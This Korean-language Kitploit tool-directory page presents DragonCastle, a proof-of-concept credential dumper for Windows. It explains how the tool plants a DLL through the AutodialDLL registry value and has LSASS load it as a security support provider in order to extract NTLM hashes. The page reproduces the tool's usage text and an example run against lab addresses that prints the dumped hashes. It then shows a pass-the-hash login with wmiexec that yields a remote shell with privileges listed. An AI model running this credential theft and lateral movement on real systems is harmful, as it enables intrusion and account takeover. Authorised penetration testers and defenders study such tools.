Skip to content
KitploitKITPLOIT
도구블로그
제출
도구블로그
제출

해킹, 침투 테스트 및 사이버 보안 도구를 당신의 보안 무기고에!

Kitploit은 해킹, 사이버 보안 및 침투 테스트 도구 디렉토리입니다. 최신 프로젝트 업데이트를 발견하여 취약점을 찾고, 시스템을 분석하고, 테스트를 자동화하고, 보안을 강화하세요.

··피드·문의·개인정보·© 2026 Kitploit

도구 디렉토리

카테고리

모든 카테고리 보기
Loading categories
DragonCastle — AutodialDLL 측면 이동 기법과 SSP를 결합하여 LSASS 프로세스에서 NTLM 해시를 수집하는 PoC입니다. | Kitploit
도구/GitHubGitHub/mdsecactivebreach/dragoncastle
Password CrackingLateral MovementPost-Exploitation
GitHubmdsecactivebreach/dragoncastle

DragonCastle

AutodialDLL 측면 이동 기법과 SSP를 결합하여 LSASS 프로세스에서 NTLM 해시를 수집하는 PoC입니다.

저장소 보기
306383년 전Kitploit 검토 완료

인기

모두 보기 →

커뮤니티에서 가장 많이 사용되는 도구를 찾아보세요.

모든 도구 탐색

도구 컬렉션을 둘러보세요

모든 도구 보기 →
공유

DragonCastle

AutodialDLL 수평 이동 기술과 SSP를 결합하여 LSASS 프로세스에서 NTLM 해시를 추출하는 PoC입니다.

설명

대상 컴퓨터에 DLL을 업로드합니다. 그런 다음 원격 레지스트리를 활성화하여 AutodialDLL 항목을 수정하고 BITS 서비스를 시작/재시작합니다. Svchost가 DLL을 로드하고, AutodiaDLL을 기본값으로 다시 설정한 후 RPC 요청을 통해 LSASS가 동일한 DLL을 SSP(보안 지원 공급자)로 로드하도록 강제합니다. DLL이 LSASS에 로드되면 프로세스 메모리 내에서 NTLM 해시와 키/IV를 추출합니다.

DLLMain은 항상 False를 반환하므로 프로세스는 DLL을 유지하지 않습니다.

주의사항

RunAsPPL이 활성화되지 않은 경우에만 작동합니다. 또한 게으름 때문에 3DES 복호화만 지원하도록 추가했지만, AES를 위한 코드를 추가하는 것은 매우 쉬울 것입니다. 같은 이유로 다음 Windows 버전에 대한 지원만 구현했습니다:

BuildSupport
Windows 10 버전 21H2
Windows 10 버전 21H1구현됨
Windows 10 버전 20H2구현됨
Windows 10 버전 20H1 (2004)구현됨
Windows 10 버전 1909구현됨
Windows 10 버전 1903구현됨
Windows 10 버전 1809구현됨
Windows 10 버전 1803구현됨
Windows 10 버전 1709구현됨
Windows 10 버전 1703구현됨
Windows 10 버전 1607구현됨
Windows 10 버전 1511
Windows 10 버전 1507
Windows 8
Windows 7

시그니처/오프셋/구조체는 Mimikatz에서 가져왔습니다. 새 버전을 추가하려면 Mimikatz의 sekurlsa 기능을 확인하세요.

사용법

root@kitploit:~
psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -h                                                                                                                                            
		DragonCastle - @TheXC3LL


usage: dragoncastle.py [-h] [-u USERNAME] [-p PASSWORD] [-d DOMAIN] [-hashes [LMHASH]:NTHASH] [-no-pass] [-k] [-dc-ip ip address] [-target-ip ip address] [-local-dll dll to plant] [-remote-dll dll location]

DragonCastle - A credential dumper (@TheXC3LL)

optional arguments:
  -h, --help            show this help message and exit
  -u USERNAME, --username USERNAME
                        valid username
  -p PASSWORD, --password PASSWORD
                        valid password (if omitted, it will be asked unless -no-pass)
  -d DOMAIN, --domain DOMAIN
                        valid domain name
  -hashes [LMHASH]:NTHASH
                        NT/LM hashes (LM hash can be empty)
  -no-pass              don't ask for password (useful for -k)
  -k                    Use Kerberos authentication. Grabs credentials from ccache file (KRB5CCNAME) based on target parameters. If valid credentials cannot be found, it will use the ones specified in the command line
  -dc-ip ip address     IP Address of the domain controller. If omitted it will use the domain part (FQDN) specified in the target parameter
  -target-ip ip address
                        IP Address of the target machine. If omitted it will use whatever was specified as target. This is useful when target is the NetBIOS name or Kerberos name and you cannot resolve it
  -local-dll dll to plant
                        DLL location (local) that will be planted on target
  -remote-dll dll location
                        Path used to update AutodialDLL registry value

예제

Windows 서버가 192.168.56.20에 있고 도메인 컨트롤러가 192.168.56.10에 있는 경우:

root@kitploit:~
psyconauta@insulanova:~/Research/dragoncastle|⇒  python3 dragoncastle.py -u vagrant -p 'vagrant' -d WINTERFELL -target-ip 192.168.56.20 -remote-dll "c:\dump.dll" -local-dll DragonCastle.dll                          
		DragonCastle - @TheXC3LL


[+] Connecting to 192.168.56.20
[+] Uploading DragonCastle.dll to c:\dump.dll
[+] Checking Remote Registry service status...
[+] Service is down!
[+] Starting Remote Registry service...
[+] Connecting to 192.168.56.20
[+] Updating AutodialDLL value
[+] Stopping Remote Registry Service
[+] Checking BITS service status...
[+] Service is down!
[+] Starting BITS service
[+] Downloading creds
[+] Deleting credential file
[+] Parsing creds:

		============
----
User: vagrant
Domain: WINTERFELL
----
User: vagrant
Domain: WINTERFELL
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: eddard.stark
Domain: SEVENKINGDOMS
NTLM: d977b98c6c9282c5c478be1d97b237b8
----
User: vagrant
Domain: WINTERFELL
NTLM: e02bc503339d51f71d913c245d35b50b
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: DWM-1
Domain: Window Manager
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: WINTERFELL$
Domain: SEVENKINGDOMS
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: UMFD-0
Domain: Font Driver Host
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 
NTLM: 5f4b70b59ca2d9fb8fa1bf98b50f5590
----
User: 
Domain: 

		============
[+] Deleting DLL

[^] Have a nice day!
root@kitploit:~
psyconauta@insulanova:~/Research/dragoncastle|⇒  wmiexec.py -hashes :d977b98c6c9282c5c478be1d97b237b8 SEVENKINGDOMS/[email protected]          
Impacket v0.9.21 - Copyright 2020 SecureAuth Corporation

[*] SMBv3.0 dialect used
[!] Launching semi-interactive shell - Careful what you execute
[!] Press help for extra shell commands
C:\>whoami
sevenkingdoms\eddard.stark

C:\>whoami /priv

PRIVILEGES INFORMATION
----------------------

Privilege Name                            Description                                                        State  
========================================= ================================================================== =======
SeIncreaseQuotaPrivilege                  Adjust memory quotas for a process                                 Enabled
SeMachineAccountPrivilege                 Add workstations to domain                                         Enabled
SeSecurityPrivilege                       Manage auditing and security log                                   Enabled
SeTakeOwnershipPrivilege                  Take ownership of files or other objects                           Enabled
SeLoadDriverPrivilege                     Load and unload device drivers                                     Enabled
SeSystemProfilePrivilege                  Profile system performance                                         Enabled
SeSystemtimePrivilege                     Change the system time                                             Enabled
SeProfileSingleProcessPrivilege           Profile single process                                             Enabled
SeIncreaseBasePriorityPrivilege           Increase scheduling priority                                       Enabled
SeCreatePagefilePrivilege                 Create a pagefile                                                  Enabled
SeBackupPrivilege                         Back up files and directories                                      Enabled
SeRestorePrivilege                        Restore files and directories                                      Enabled
SeShutdownPrivilege                       Shut down the system                                               Enabled
SeDebugPrivilege                          Debug programs                                                     Enabled
SeSystemEnvironmentPrivilege              Modify firmware environment values                                 Enabled
SeChangeNotifyPrivilege                   Bypass traverse checking                                           Enabled
SeRemoteShutdownPrivilege                 Force shutdown from a remote system                                Enabled
SeUndockPrivilege                         Remove computer from docking station                               Enabled
SeEnableDelegationPrivilege               Enable computer and user accounts to be trusted for delegation     Enabled
SeManageVolumePrivilege                   Perform volume maintenance tasks                                   Enabled
SeImpersonatePrivilege                    Impersonate a client after authentication                          Enabled
SeCreateGlobalPrivilege                   Create global objects                                              Enabled
SeIncreaseWorkingSetPrivilege             Increase a process working set                                     Enabled
SeTimeZonePrivilege                       Change the time zone                                               Enabled
SeCreateSymbolicLinkPrivilege             Create symbolic links                                              Enabled
SeDelegateSessionUserImpersonatePrivilege Obtain an impersonation token for another user in the same session Enabled

C:\>

저자

Juan Manuel Fernández (@TheXC3LL)

참고 자료

  • https://decoded.avast.io/luigicamastra/operation-dragon-castling-apt-group-targeting-betting-companies/
  • https://www.hexacorn.com/blog/2015/01/13/beyond-good-ol-run-key-part-24/
  • https://adepts.of0x.cc/physical-graffiti-lsass/
  • https://blog.xpnsec.com/exploring-mimikatz-part-2/
도구 다운로드